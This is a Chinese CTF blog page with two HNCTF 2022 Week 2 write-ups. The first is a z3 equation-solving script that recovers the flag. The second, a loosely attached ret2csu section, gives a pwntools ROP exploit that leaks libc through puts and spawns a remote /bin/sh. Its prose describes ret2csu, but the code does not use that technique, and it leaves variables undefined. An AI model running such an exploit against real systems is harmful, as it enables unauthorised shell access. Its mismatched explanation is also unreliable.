(60)[HNCTF 2022 WEEK2]来解个方程

 (60)[HNCTF 2022 WEEK2]来解个方程

这个打开就是z3题,我们直接写好程序就可以

```python
from z3 import *
import hashlib

v2=Int('v2')
v3=Int('v3')
v4=Int('v4')
v5=Int('v5')
v6=Int('v6')
v7=Int('v7')
v8=Int('v8')
v9=Int('v9')
v10=Int('v10')
v11=Int('v11')
v12=Int('v12')
v13=Int('v13')
v14=Int('v14')
v15=Int('v15')
v16=Int('v16')
v17=Int('v17')
v18=Int('v18')
v19=Int('v19')
v20=Int('v20')
v21=Int('v21')
v22=Int('v22')
v23=Int('v23')

s=Solver()
s.add( 245 * v6 + 395 * v5 + 3541 * v4 + 2051 * v3 + 3201 * v2 + 1345 * v7 == 855009)
s.add(3270 * v6 + 3759 * v5 + 3900 * v4 + 3963 * v3 + 1546 * v2 + 3082 * v7==  1515490)
s.add(526 * v6 + 2283 * v5 + 3349 * v4 + 2458 * v3 + 2012 * v2 + 268 * v7 ==  854822)
s.add(3208 * v6 + 2021 * v5 + 3146 * v4 + 1571 * v3 + 2569 * v2 + 1395 * v7 == 1094422)
s.add(3136 * v6 + 3553 * v5 + 2997 * v4 + 1824 * v3 + 1575 * v2 + 1599 * v7 == 1136398)
s.add(2300 * v6 + 1349 * v5 + 86 * v4 + 3672 * v3 + 2908 * v2 + 1681 * v7 == 939991)
s.add(212 * v22 + 153 * v21 + 342 * v20 + 490 * v12 + 325 * v11 + 485 * v10 + 56 * v9 + 202 * v8 + 191 * v23 ==  245940)
s.add(348 * v22 + 185 * v21 + 134 * v20 + 153 * v12 + 460 * v9 + 207 * v8 + 22 * v10 + 24 * v11 + 22 * v23 ==  146392)
s.add( 177 * v22 + 231 * v21 + 489 * v20 + 339 * v12 + 433 * v11 + 311 * v10 + 164 * v9 + 154 * v8 + 100 * v23 ==  239438)
s.add( 68 * v20 + 466 * v12 + 470 * v11 + 22 * v10 + 270 * v9 + 360 * v8 + 337 * v21 + 257 * v22 + 82 * v23 ==  233887)
s.add(246 * v22 + 235 * v21 + 468 * v20 + 91 * v12 + 151 * v11 + 197 * v8 + 92 * v9 + 73 * v10 + 54 * v23 ==  152663)
s.add( 241 * v22 + 377 * v21 + 131 * v20 + 243 * v12 + 233 * v11 + 55 * v10 + 376 * v9 + 242 * v8 + 343 * v23 ==  228375)
s.add(356 * v22 + 200 * v21 + 136 * v11 + 301 * v10 + 284 * v9 + 364 * v8 + 458 * v12 + 5 * v20 + 61 * v23 ==  211183)
s.add(154 * v22 + 55 * v21 + 406 * v20 + 107 * v12 + 80 * v10 + 66 * v8 + 71 * v9 + 17 * v11 + 71 * v23==  96788)
s.add(335 * v22 + 201 * v21 + 197 * v11 + 280 * v10 + 409 * v9 + 56 * v8 + 494 * v12 + 63 * v20 + 99 * v23 ==  204625)
s.add( 428 * v18 + 1266 * v17 + 1326 * v16 + 1967 * v15 + 3001 * v14 + 81 * v13 + 2439 * v19 == 1109296)
s.add(2585 * v18 + 4027 * v17 + 141 * v16 + 2539 * v15 + 3073 * v14 + 164 * v13 + 1556 * v19 ==  1368547)
s.add(2080 * v18 + 358 * v17 + 1317 * v16 + 1341 * v15 + 3681 * v14 + 2197 * v13 + 1205 * v19 ==  1320274)
s.add( 840 * v18 + 1494 * v17 + 2353 * v16 + 235 * v15 + 3843 * v14 + 1496 * v13 + 1302 * v19 ==  1206735)
s.add(101 * v18 + 2025 * v17 + 2842 * v16 + 1559 * v15 + 2143 * v14 + 3008 * v13 + 981 * v19 ==  1306983)
s.add(1290 * v18 + 3822 * v17 + 1733 * v16 + 292 * v15 + 816 * v14 + 1017 * v13 + 3199 * v19 ==  1160573)
s.add(186 * v18 + 2712 * v17 + 2136 * v16 + 98 * v13 + 138 * v14 + 3584 * v15 + 1173 * v19== 1005746)

flag=[]
if s.check()==sat:
    print(s.model())
    m=s.model()

flag.append(m[v2])
flag.append(m[v3])
flag.append(m[v4])
flag.append(m[v5])
flag.append(m[v6])
flag.append(m[v7])
flag.append(m[v8])
flag.append(m[v9])
flag.append(m[v10])
flag.append(m[v11])
flag.append(m[v12])
flag.append(m[v13])
flag.append(m[v14])
flag.append(m[v15])
flag.append(m[v16])
flag.append(m[v17])
flag.append(m[v18])
flag.append(m[v19])
flag.append(m[v20])
flag.append(m[v21])
flag.append(m[v22])
flag.append(m[v23])

print(flag)
m=[78, 83, 83, 67, 84, 70, 123, 112, 105, 112, 95, 105, 110, 115, 116, 64, 108, 108, 95, 90, 51, 125]
for i in range(len(m)):
    print(chr(m[i]),end='')


```

NSSCTF{pip_inst@ll_Z3}

### HNCTF 2022 WEEK2 ret2csu Challenge Solution #### 利用ret2csu技术实现漏洞利用 在处理`HNCTF 2022 WEEK2`的`ret2csu`挑战时,目标是通过控制程序流来调用特定函数并最终执行任意命令。此方法依赖于对`.text`段内存在的gadget链的应用以及对动态链接过程的理。 为了完成这一攻击向量,首先需要找到合适的gadgets用于操控寄存器状态,并且能够触发`__libc_csu_init()`函数内的逻辑路径,该部分代码负责初始化全局构造器数组,在某些情况下可用于间接调用其他库函数如`write()`或`read()`等[^4]。 具体来说: - 使用`pwndbg cyclic`工具生成模式字符串并向服务端发送以定位崩溃发生的确切位置;之后借助`pattern offset`确定偏移值以便后续操作。 - 构造payload时应考虑如何填充堆栈帧使得当返回至`__libc_csu_init`时能正确设置参数传递给想要调用的目标函数(比如`puts@plt`),进而泄漏出关键内存地址信息(例如`got.plt`表项)。这些数据对于计算实际加载基址至关重要,因为它们允许我们推断出整个共享对象映射范围的位置。 - 接下来就是准备第二个阶段的有效载荷——通常是一串精心设计过的字节序列,它会被释成机器指令从而绕过保护机制达成目的。这里可以通过泄露得到的信息调整base指针指向所需功能入口处(像`system()`)再配合伪造参数列表达到远程代码执行的效果。 ```python from pwn import * context.arch = 'amd64' elf = ELF('./vuln') io = remote('target_ip', port) # 泄露 libc 地址 rop = ROP(elf) pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload_leak = flat({ offset: [ pop_rdi_ret, puts_got, puts_plt, main_function_address # 返回到main或其他安全地方继续运行 ] }) io.sendlineafter(prompt, payload_leak) leaked_puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) log.success(f'Leaked puts address: {hex(leaked_puts)}') # 计算 system 和 binsh 的真实地址 libc_base = leaked_puts - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_str = next(libc.search(b'/bin/sh\x00')) + libc_base # 准备 final payload 执行 /bin/sh final_payload = flat({ offset: [ pop_rdi_ret, bin_sh_str, system_addr ] }) io.sendline(final_payload) io.interactive() ``` 上述脚本展示了如何构建一个完整的exploit流程,包括但不限于发现溢出点、获取必要的库版本细节、析符号表条目直至最后成功获得shell访问权限[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值